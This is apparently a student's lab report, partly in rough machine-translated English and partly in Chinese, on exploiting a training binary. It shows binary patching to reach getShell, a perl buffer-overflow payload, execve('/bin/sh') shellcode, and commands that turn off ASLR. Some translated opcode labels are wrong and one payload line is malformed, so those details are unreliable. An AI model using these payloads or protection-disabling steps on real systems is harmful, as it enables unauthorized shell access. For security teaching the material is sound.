First, the test target
The practice of object is a linux executable file named pwn1 of.
The normal flow of execution is: main function calls foo, foo function would simply echo any user input string.
The program contains another code segment, getShell, will return a usable Shell. This code is not normally run. The goal of our practice is to find ways to run this code snippet. We will learn two ways to run this code snippet, and then learn how to inject any Shellcode run.
Second, the experimental content
Manually modify the executable file, changing the program execution flow, jump directly to getShell function.
Bof using the function foo vulnerability, an attacker construct input string, overwriting the return address, trigger getShell function.
Injecting a shellcode to produce their own and run this shellcode.
Third, the basics
1.NOP, JNE, JE, JMP, CMP machine code instructions compiled
- NOP:90
- Etc: 75
- IS: 74
- CMP:38~3D
2. Disassemble the master programmer hex
- Disassembly instructions
objdump -d <file(s)>: 将代码段反汇编;
objdump -S <file(s)>: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>: 将C++符号名逆向解析
objdump -l <file(s)>: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>: 仅反汇编指定的section
- Hex programmer: used for text editing in hexadecimal view of software tools
vim <filename>:以ASCII码形式显示可执行文件的内容
:%!xxd:将显示模式切换为16进制模式
:%!xxd:将16进制切换回ASCII码模式
3. What are the loopholes, loopholes What is the harm? (Their words)
- What is the vulnerability?
漏洞是与计算机有关的,可以被攻击者利用从而进行攻击的细节。
- Vulnerability What is the harm?
漏洞如果被攻击者所利用,就可能给计算机、网络等造成严重损害,可能导致系统破坏、信息泄露、网络崩溃等问题。
Four other knowledge
1. pipe (|)
- "|" Is a command pipeline operator, referred to as the pipe character. Linux using the pipe symbol provided by the "|" two commands separated by pipe character to the left output of the command will be used as input pipe symbol to the right of command. Continuous use of pipelines means that the first command will output the second command as input, the output of the second command will enter as the third command, and so on.
2. output redirection:
- ">": Representatives to cover the correct output of the command to which the specified file or device.
- ">>": representative append mode output.
3. Enter the redirection:
- Command <file name: the file as a command input, such as statistical lines, words and characters in the book when wc command.
4.EIP
- After each execution of the controller reads the CPU, a read instruction corresponding to the work performed by the EIP register to another. Each time the CPU read instruction to instruction buffer, the corresponding increase in the value of the EIP register, increasing the size of the instruction is read byte size.
5.NOP (taxiing area)
- 即滑行区,返回地址只要落在任何一个nop上,自然会滑到我们的shellcode
- 起到填充和“着陆、滑行”的作用
五、实验任务
任务一 直接修改程序机器指令,改变程序执行流程
原理(思路):
- 1.对目标文件进行反汇编,找到main函数,和要攻击的foo函数
- 2.通过汇编指令找到main函数跳转到foo函数的指令,分析其对应的机器指令
- 3.修改目标文件的对应的机器指令,使得main函数跳转到getShell函数
步骤:
- 对pwn1进行备份,备份为pwn1.bak
- 输入指令
objdump -d pwn1 | more
对pwn1
文件进行反汇编
- 找到main函数跳转到foo函数的指令,对反汇编的结果进行分析
- 可以看到函数的地址为
08048491
,main函数中的call 8048491 <foo>
指令的机器码为e8 d7 ff ff ff
,下一条指令的地址为80484ba
。机器码中的0xffffffd7 = 0x080484ba - 0x08048491
为主函数执行位置和foo函数起始地址的差 - 因此,想要让程序执行到getShell需更改call指令的机器码为相应地址的差,计算地址差为
0x080484ba - 0x0804847d = 0xffffffc3
- 可以看到函数的地址为
- 修改目标文件机器码
- 输入指令
vi pwn1
打开以ASCII码显示的文件 - 输入指令
:%!xxd
将文件转换为16进制查看 - 找到
d7ffffff
位置,输入i
进入插入模式,将d7
修改为c3
- 输入指令:%!xxd -r 将文件转化为ASCII码形式,保存并退出
- 输入指令
- 此时输入指令
objdump -d pwn1 | more
查看,发现pwn1文件已经被修改了
结果:
- 运行更改后的pwn1,执行getShell,得到shell提示符
- 运行备份pwn1.bak,正常执行foo函数,实现回显功能
任务二 通过构造输入值,造成BOF攻击,从而改变程序执行顺序
原理(思路):
- 1.通过观察main函数调用的函数,观察系统预留的缓冲区的大小,用该大小加上4字节(ebp),即可得出eip(返回地址)的位置,只要让getShell的地址覆盖该eip就可以让程序执行getShell
- 2.经分析可知应该输入
缓冲区大小+4字节(ebp)+getShell的地址
,使得getShell的地址覆盖eip - 3.因为我们没法通过键盘输入16进制值,所以先通过perl语言生成包括这样字符串的一个文件,并使用输出重定向“>”将perl生成的字符串存储到文件input中
- 4.将input的输入,通过管道符“|”,作为目标文件的输入
步骤:
- 通过反汇编指令查看foo函数中为输入预留的空间
计算出实现缓冲区溢出的字符数为
28+4=32
字节(4为EBP占用的内存空间),我们希望执行getShell函数,因此需要将getShell函数的地址放在eip(返回地址)处,即33~36字节,接下对猜想进行验证我们在gdb中输入至少36字节的数据,可以看到给出了Segmentation fault 的错误提示,同时可以查看到eip寄存器的地址为0x34333231 ,验证了将getShell的地址放在33~36字节的猜想
我们将33~36字节的内容替换为getShell的地址,即
\x7d\x84\x04\x08
,前32字节可以任意输入由于我们无法从键盘输入16进制的值,因此运用perl语言和
>
输出重定向构造输入文件perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
构造输入,我们可以通过cat
和xxd
指令查看我们构造的输入文件
结果:
- 然后通过管道符
|
,输入命令(cat input; cat ) | ./pwn2
将构造的输入input作为pwn2的输入并运行,结果如下:
任务三 注入shellcode并执行
原理(思路):
- 1.设置堆栈可执行、关闭地址随机化
- 2.根据我们的目的构造shellcode
- 3.以
retaddr+nop+shellcode
(缓冲区小)或nop+shellcode+retaddr
(缓冲区大)的方式构造攻击buf - 4.先构造一个任意的返回地址(最后不能是\x0a(回车)),然后注入这段buf并运行改进程
- 5.再打开另一个终端来调试该进程,并找到滑动区nop的地址,以确定retaddr的值
- 6.用调试确定的返回值填入retaddr,再次注入此时的buf并运行,即可发现进程成功运行shellcode
步骤:
execstack -s pwn3
设置堆栈可执行execstack -q pwn3
查询文件的堆栈是否可执行,结果为X表示可执行- linux系统为了防范shellcode的注入攻击,在多次运行程序时寄存器的地址会发生改变,因此需关闭地址随机化
more /proc/sys/kernel/randomize_va_space
查看随机化是否关闭echo "0" > /proc/sys/kernel/randomize_va_space
关闭随机化more /proc/sys/kernel/randomize_va_space
再次查看,结果为0证明已关闭
- 参考老师给出的代码,我们首先构造一个input_shellcode
perl -e 'print "A" x 32;print \x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"'
> input_shellcode
- 在该终端中通过
(cat input_shellcode;cat) | ./pwn3
运行pwn3 - 在另一个终端中输入
ps -ef | grep pwn
查看pwn3的进程号
- 启用gdb调试并定位pwn3进程
disassemble foo
进行反编译,可以看到ret指令的地址为0x080484ae
,在此处设置断点break *0x080484ae
- 在第运行终端中按下回车继续运行, 程序执行到断点停止
- 再在调试终端输入
c
继续运行程序 info r esp
查看esp寄存器地址,此时esp的地址即为eip的地址- 输入
x/16x 0xffffd1ac
以16进制形式查看0xffffd1ac
地址后面的内容 - 可以观察到、最先出现0x90(滑行区)的位置地址为0xffffd1ac+0x00000004=0xffffd1b0
将注入代码buf的地址改为
0xffffd1b0
输入
(cat input_shellcode;cat) | ./pwn3
结果:
- 成功运行了shellcode
六、遇到的问题和解决
问题一:
- 在做任务一时,改完机器指令后,忘记将其转换成ASCLL码形式,就保存退出了,导致后续无法进行反汇编
解决一:
- 又重做了一遍,记得用
:%!xxd -r
转成ASCLL码形式就不会出问题
问题二:
- 在参考组长的博客时,发现他任务三,在调试的过程中,一直不理解为什么通过寻找esp的地址,来确定eip的地址
解决二:
- 后来经过组内讨论,发现是自己没有注意到断点的位置ret指令之前,已经执行过leave指令,即已经执行过
pop ebp
,此时esp已经指向eip了
七、实验心得体会
之前自己对网络攻防这方面也算是有点兴趣、有点好奇吧,这次,在看了老师的视频讲解之后,自己实操了一把,感觉还不错,可能是前期看视频、学知识准备的比较久,做完还有那么一点点小成就感。
这次实验的主要困难就是在于对机器码、汇编指令、十六进制数、堆栈原理的掌握还不是很充分,一些地方理解起来比较费劲,我是看完老师的视频就开始参考着组长的博客开做了,在做的过程中,有不懂的地方,就直接上网上去查,没有的话就去问同学,和组内同学讨论,边做边学,摸着石头过河。
最后做下来,整体感觉还是不错的,也没有遇到太大的问题,所有遇到问题都得到了解决,对这次的实验内容也有了基本的了解,同时也有了很大的收获。也还有很多地方掌握的不是太好,如机器指令、汇编语言之类的,之后我也会加强学习,争取做的更好!